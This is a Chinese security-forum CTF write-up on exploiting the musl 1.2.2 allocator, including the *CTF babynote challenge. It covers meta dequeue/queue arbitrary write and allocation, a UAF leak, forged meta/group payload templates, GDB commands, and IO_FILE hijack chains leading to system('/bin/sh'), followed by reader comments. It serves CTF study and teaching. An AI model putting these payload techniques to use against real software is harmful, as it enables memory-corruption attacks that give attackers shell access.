首页
社区
课程
招聘
[原创]小小做题家之——musl 1.2.2的利用手法
发表于: 2022-10-6 18:30 23172

[原创]小小做题家之——musl 1.2.2的利用手法

2022-10-6 18:30
23172

看了0xRGZ师傅的博客,觉得自己是懂musl的,小摸了一篇[原创]手动编译测试musl1.2.2 meta dequeue特性-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com。做题的时候发现自己学的和写的是1托4,利用和学机制真的不太一样,在照着xyzmpv师傅的博客复现今年*ctf的babynote的过程中逐行调试才恍然大物。在这里简单记录一下复现中学到的musl 1.2.2的利用手法

一般是下面两种:

(1)free->nontrivial_free()->dequeue

(2)malloc->alloc_slot->dequeue

(触发详情可见笔者的musl手动编译测试文章或者0xRGZ师傅的文章)

任意地址写

meta dequeue是一个类似于glibc里面双链表结构bin取出堆块的unlink操作,源码如下:

(在/musl-1.2.2/src/malloc/mallocng/meta.h目录下)

img

如果我们劫持meta的pre和next,就可以达到无任何检查的unlink的任意地址写的操作

同样,从一个简单的demo入手:

(下述调试的偏移均未开ASLR保护的U2004环境,可以通过echo 0 > /proc/sys/kernel/randomize_va_space设置,然后偏移应该就是一样的了)

目标:给0x555555559f00赋值0x55555555b300

首先断在这个地方:

img

此时meta的构造如下:

img

img

发现此时这个meta指向自身,我们通过set指令修改它的pre和next:

修改过后,ni 发现会卡在一个地方:

img

但是我们发现dequeue其实是执行了的,也就是我们成功给0x555555559f00赋值0x55555555b300:

img

为啥会卡住呢?我们着重分析分析118行这里的源码

这里的m是一个meta,而且是0x298的next,也就是0x55555555b300。mheap一下也能发现原来的0x298被换成了一个新的meta:

img

这里也提醒了我们,meta->mem即存group地址的地方是空的,也正是因为这个,在mozxv那行汇编引用[rax+8]就会卡住。于是我们考虑用set补充一下这个地方(将0xb340这个地址当作group):

(不知道为啥这些地方set就只能一次4字节)

但还不够,group也要索引到meta,即group的首地址得存放meta的地址。这是因为malloc和free的时候存在get_meta的检查,部分源码如下:

重点检查就是secret和meta->mem。secret也就是meta_addr & -0x4096(即低三位为0的地址),很幸运的是恰好这里就是screat:(0xb300清除后三位被称作meta_area的地方,与meta处于同一页中)

img

meta->mem也就是group的首地址,要设置成meta的地址。同样用set:

设置好过后,ni就能成功free然后实现任意地址写了

上面介绍dequeue利用的时候,有个active[2]中的meta从0x298换成0x55555555b300,触发了dequeue实现了active[2]上面meta的替换。这是在active[2]非空的情况下的替换。但当active为空,我们又怎么让它凭空“长”一个meta出来呢?我们看看meta.h下的nontrivial_free函数(和前面的dequeue是一个函数):

img

发现就是if和else if的关系,if那条分支其实检查的是mask是否符合条件(是否满了,要么全用了要么全free,这里肯定是检查是否已经用了的堆块全free),ok_2_free其实检查的是meta的free_able标记(因为其它条件基本能满足):

img

只要满足free_able为0,就可执行else if分支。else if分支需要满足sc<48,伪造的时候注意即可,然后就是检查active[sc]上面的meta是否是即将加入的m,我们伪造的时候一般针对的是空的active,这里就直接通过了。然后就到了queue里面:

img

这里的phead其实就是active,m是即将被放入active的meta,执行的肯定是else的分支(因为active为空),然后我们就成功把伪造的meta m加入active[sc]了。malloc(sc*0x10)就能从伪造的meta找到伪造的group,然后从伪造的group取出堆块

实现任意地址申请

当伪造的group的地址为我们想要修改的地址-0x10的时候,在满足条件的情况下,就能通过malloc(sc*0x10)申请出想要修改的地址进行修改

下面谈谈如何伪造满足条件的meta和group实现任意地址申请:

(1)首先需要满足meta_area和meta处于同一页,一般都是采用申请大堆块使得通过mmap分配,然后通过padding使得meta_area和meta处于同一页

(2)然后需要满足meta_area的首地址为screat,这个也好满足,在padding过后紧接着就行

(3)伪造meta:伪造prev,next,mem,以及last_idx, freeable, sc, maplen四合一的一位。一般需要伪造两种meta(同一个,执行完一个功能过后通过复写切换),一种用来dequeue任意地址写修改最后fake_group的首地址为fake_meta的地址从而通过get_meta的检查;另一种严格保证不会被free掉,从而执行queue被加进active[sc]达成任意地址申请修改的目的。

(4)伪造group:首地址为fake_meta的地址,+0x8的active_idx一般修改为1即可

(5)free(group+0x10)来执行nontrivial_free:总共执行两次。第一次dequeue将fake_group(即target-0x10)写入fake_meta,第二次queue将fake_meta加入active[sc]

(6)malloc(sc*0x10)申请出target进行修改

伪造的模板如下:(两种meta的区别本质上是通过修改四合一位来实现的,也就是在free(fake_chunk)的时候nontrivial_free走的是if还是else if)

(1)伪造meta

(2)伪造group

(3)拼接payload

任意地址泄露或者任意地址写

musl的UAF和glibc的有点不太一样,这是因为musl的堆块free过后不会立马被再次使用。这是由meta的avail_mask和freed_mask限制的。申请group对应大小的堆块,会优先使用avail_mask上还是1的位置对应的堆块。当avail_mask变成0了会检测freed_mask是否为0,如果为0则该meta可以dequeue了(即malloc触发的dequeue),反之则会将avail_mask异或上freed_mask同时将freed_mask置为0,取出当前avail_mask从低到高第一个非0位对应的堆块作为malloc(或者其它内存申请函数)的返回值,并将该位置为0

所以,musl的堆题处处充满了风水。。。举个栗子:

img

注意avail_mask和freed_mask,idx为1(group的第二个)的chunk此时是free状态,但是我们申请的话,其实是申请到idx为9的堆块。这就是musl管理chunk和glibc不太一样的地方,相应的UAF利用,比如idx为1的堆块存在UAF,我们想构造它既是note又是note上的关键位置(比如content这类能通过show函输泄露的地方),就只能等先取出idx为9的堆块才能申请出它了。

musl没有glibc的大多hook,但有我们pwnpwn人最喜欢的(白洋淀啥都喜欢十八)IO_FILE。下面给出一条链子供给参考:

puts->fputs_unlocked->fwrite_unlocked->__fwritex+142(call rax)

这里的rax是通过r12赋值的:

而r12:R12 0x7ffff7ffb280 (__stdout_FILE) ◂— 0x68732f6e69622f / '/bin/sh' /

那我们就可以利用meta dequeue&queue实现任意地址写__stdout_FIE

伪造的IO_FILE模板如下:

其实就改了改三个点,flags,wend和write。原来的长这样:

img

改wend其实是因为在call rax之前还有这个检查:

img

同样给出一条参考链子(感谢CatF1y师傅的点拨):

exit->stdio_exit_needed->stdio_exit_needed->close_file

最后的close_file长这样:

img

最终执行的是call [rbp+0x48],在call之前贴心的把edx和esi给清空了,简直是给execve函数量身定制的。rdi是rbp,是在这个地方赋值的:

img

只要劫持ofl_head为一个可控的结构体(堆块或bss),在上面赋值就可以getshell。这样只需要meta dequeue的一次任意地址写并且函数里有exit就能getshell了

./libc.so即可看查libc版本:

img

img

img

实现了增删查三种功能

img

熟悉的结构题题,通过calloc申请0x20大小的note:

img

name和content都是自定大小的calloc堆块,黄色箭头的是chain上的note。这里的chain其实指这题的note之间是通过链表连起来的,有一个全局链表头global_note。通过头插法插入note(大家可以自行画图理解)

img

这个函数的流程大体如下:

读入size和key,通过list_pass遍历chain,找到name_size和读入的size相同且name和key相同的note,返回给v3。然后通过大端序列显示v3的内容:

img

img

也是通过list_pass寻找和输入的key以及size对应的note。重点放在下面的if和else分支,发现只有else分支会清除指针,if分支不会,也就是说当chain中的note不少于两个的时候就会存在UAF。通过这个UAF我们能创造一个既是note(记为A),同时也是一个note的content(记为B)的堆块,然后通过find打印B的content即可泄露libcbase和elfbase。由于musl libc的堆是静态堆,也就相当于泄露了堆地址(elfbase和heapbase泄露一个就行,这点和glibc是不一样的)

利用流程:

已知存size为0x30的group最多能存10个堆块(0~9)

(1)通过find的calloc和free二连将avail_mask设置成0b1000000000,free_mask设置为0b0111111110:

img

(2)通过add(namesize=xxx,contentsize=0x28)将globa_note设置为B(idx=9),同时B的content将被设置为A(idx=1)

(3)delet B(同时A也会被删除,因为delet也会删除content),通过add更新A的name和content

(4)通过find show B的content,即可泄露libcbase和elfbase

由于泄露是大端自序泄露,所以需要特殊的手法来操作exp接收的字符:

后面还可以利用这个特性,通过find直接修改B的content为__malloc_context泄露secret(任意地址泄露);或是改成合法的chunk(任意地址free)

img

(1)通过UAF 泄露elfbase和libcbase以及secret

(2)然后申请大堆块在mmap的内存段布置好fake meta

(3)通过任意free,执行dequeue使得target-0x10为fake meta的地址;执行queue将fake meta放入active[sc]

(4)calloc(sc*0x10)申请出stdout_file进行修改从而劫持puts函数的io执行流为system("/bin/sh")getshell

dequeue和queue的触发不止free这种,但笔者精力有限没能全部研究透彻(不过如果以后搞嵌入式真的需要研究这方面的漏洞的话再行分享hh)。但是比起glibc,musl的libc真的缩减了很多,属于是那种比赛的时候可以现找漏洞点的。所以没涉及的地方就交给读者自行研究了,感谢阅读~

感谢xyzmpv师傅的题解以及0xRGz 师傅的musl源码解析~

(11条消息) *CTF babynote 复现_xyzmpv的博客-CSDN博客

[原创]musl 1.2.2 总结+源码分析 One-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

 
 
 
 
 
 
 
/*
在musl-1.2.2目录下编译和链接:
./obj/musl-gcc main.c -o test
patchelf --set-interpreter ./libc.so ./test
(libc.so就用题目附件给的就好)
*/
#include<stdio.h>
#include <unistd.h>
 
void init()
{
        setbuf(stdin, 0);
        setbuf(stdout, 0);
        setbuf(stderr, 0);
}
 
int main() {
 
        init();
        size_t *p1;
        p1=(size_t *)malloc(0x20); //1
        read(0,p1,0x10);
        free(p1);
        return 0;
}
/*
在musl-1.2.2目录下编译和链接:
./obj/musl-gcc main.c -o test
patchelf --set-interpreter ./libc.so ./test
(libc.so就用题目附件给的就好)
*/
#include<stdio.h>
#include <unistd.h>
 
void init()
{
        setbuf(stdin, 0);
        setbuf(stdout, 0);
        setbuf(stderr, 0);
}
 
int main() {
 
        init();
        size_t *p1;
        p1=(size_t *)malloc(0x20); //1
        read(0,p1,0x10);
        free(p1);
        return 0;
}
 
 
 
 
 
 
set *0x55555555b298 = 0x555555559ef8
set *0x55555555b2a0 = 0x55555555b300
set *0x55555555b298 = 0x555555559ef8
set *0x55555555b2a0 = 0x55555555b300
 
 
 
 
 
 
 
set *0x55555555b310 = 0x55555555b340
set *0x55555555b314 = 0x5555
set *0x55555555b310 = 0x55555555b340
set *0x55555555b314 = 0x5555
 
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
//根据chunK获取group和meta p为chunk指针
const struct meta *meta = base->meta;
assert(meta->mem == base);//检查
assert(index <= meta->last_idx);
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
//通过bitmap进行两次检查,确保avail和freed mask的bitmap不会越界
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
//meta area和meta在一页内,meta area在页开头(实际就是清除了meta的十六进制低三位)
assert(area->check == ctx.secret);//检查area中的secret
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
//根据chunK获取group和meta p为chunk指针
const struct meta *meta = base->meta;
assert(meta->mem == base);//检查
assert(index <= meta->last_idx);
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
//通过bitmap进行两次检查,确保avail和freed mask的bitmap不会越界
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
//meta area和meta在一页内,meta area在页开头(实际就是清除了meta的十六进制低三位)
assert(area->check == ctx.secret);//检查area中的secret
 
 
set *0x000055555555b340 = 0x55555555b300
set *0x000055555555b340 = 0x5555
set *0x000055555555b340 = 0x55555555b300
set *0x000055555555b340 = 0x5555
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
伪造dequeue-meta:
```
    last_idx, freeable, sc, maplen = 0, 1, 8, 1
    #fake meta
    fake_meta = p64(stdout - 0x18)                  # prev
    fake_meta += p64(fake_meta_addr + 0x30)         # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0) #duiqi
```
伪造queue-meta(或者伪造替换group时不希望meta被free):
    last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
    fake_meta = p64(0)                              # prev
    fake_meta += p64(0)                             # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0)
伪造dequeue-meta:
```
    last_idx, freeable, sc, maplen = 0, 1, 8, 1
    #fake meta
    fake_meta = p64(stdout - 0x18)                  # prev
    fake_meta += p64(fake_meta_addr + 0x30)         # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0) #duiqi
```
伪造queue-meta(或者伪造替换group时不希望meta被free):
    last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
    fake_meta = p64(0)                              # prev
    fake_meta += p64(0)                             # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0)
fake_mem = p64(fake_meta_addr)                  # meta
fake_mem += p32(1) + p32(0)
fake_mem = p64(fake_meta_addr)                  # meta
fake_mem += p32(1) + p32(0)
payload = padding ##页对齐
payload += p64(secret) + p64(0) ## +p64(0)是为了补齐
payload += fake_meta + b'\n'
payload = padding ##页对齐
payload += p64(secret) + p64(0) ## +p64(0)是为了补齐
payload += fake_meta + b'\n'
 
 
 
 
 
mov    rax, qword ptr [r12 + 0x48]
call rax

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-10-7 16:20 被Nameless_a编辑 ,原因:
上传的附件:
收藏
免费 3
支持
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/10/20
最新回复 (3)
雪    币: 4168
活跃值: (15932)
能力值: ( LV9,RANK:710 )
在线值:
发帖
回帖
粉丝
2
学到很多
2022-10-7 11:26
0
雪    币: 4460
活跃值: (6706)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
什么时候才能学到你这水平
2022-10-7 13:44
0
雪    币: 6970
活跃值: (11169)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
4
Roland_ 学到很多
感谢版主大大支持~
2022-10-7 13:54
0
游客
登录 | 注册 方可回帖
返回
//